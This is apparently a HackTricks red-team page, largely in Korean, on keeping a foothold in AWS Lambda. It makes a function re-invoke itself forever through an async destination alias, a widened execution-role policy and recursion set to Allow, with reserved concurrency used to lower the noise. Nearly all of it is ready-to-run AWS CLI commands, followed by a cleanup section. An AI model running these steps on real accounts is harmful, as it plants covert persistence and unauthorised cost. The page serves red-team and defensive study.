AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Lambda의 비동기 Destinations과 Recursion 설정을 악용하여 외부 스케줄러(예: EventBridge, cron 등) 없이 함수가 지속적으로 자기 자신을 재호출하도록 만들 수 있다. 기본적으로 Lambda는 재귀 루프를 종료하지만, recursion config를 Allow로 설정하면 재귀 호출이 다시 가능해진다. Destinations는 비동기 invoke에 대해 서비스 측에서 전달을 처리하므로, 단 한 번의 seed invoke로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있다. 원하면 reserved concurrency로 스로틀링하여 잡음을 줄일 수 있다.

Notes

  • Lambda는 함수 자체를 직접 목적지로 설정하는 것을 허용하지 않는다. 대신 function alias를 목적지로 사용하고 execution role이 해당 alias를 invoke할 수 있도록 허용하라.
  • 최소 권한: 대상 함수의 event invoke config 및 recursion config를 읽고/업데이트할 수 있는 권한, 버전 publish 및 alias 관리 권한, 그리고 execution role policy를 업데이트해 alias에 대해 lambda:InvokeFunction을 허용할 수 있는 권한.

Requirements

  • Region: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Steps

  1. Get function ARN and current recursion setting
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. 버전을 게시하고 별칭을 생성/업데이트 (자기 자신 대상으로 사용됨)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. 함수 실행 역할이 alias를 호출하도록 허용(필요: Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. 비동기 대상(async destination)을 alias(자기 자신을 alias를 통해)로 구성하고 재시도를 비활성화하세요.
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. 재귀 루프 허용
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. 단일 비동기 invoke 생성
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. 지속적인 호출 관찰 (예시)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. 선택적 은밀 제한
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

정리

루프를 중단하고 persistence를 제거합니다.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

영향

  • 단일 async invoke는 외부 스케줄러 없이 Lambda가 지속적으로 자기 자신을 재호출하게 하여 은밀한 persistence/heartbeat를 가능하게 한다. Reserved concurrency는 소음을 단일 warm execution으로 제한할 수 있다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기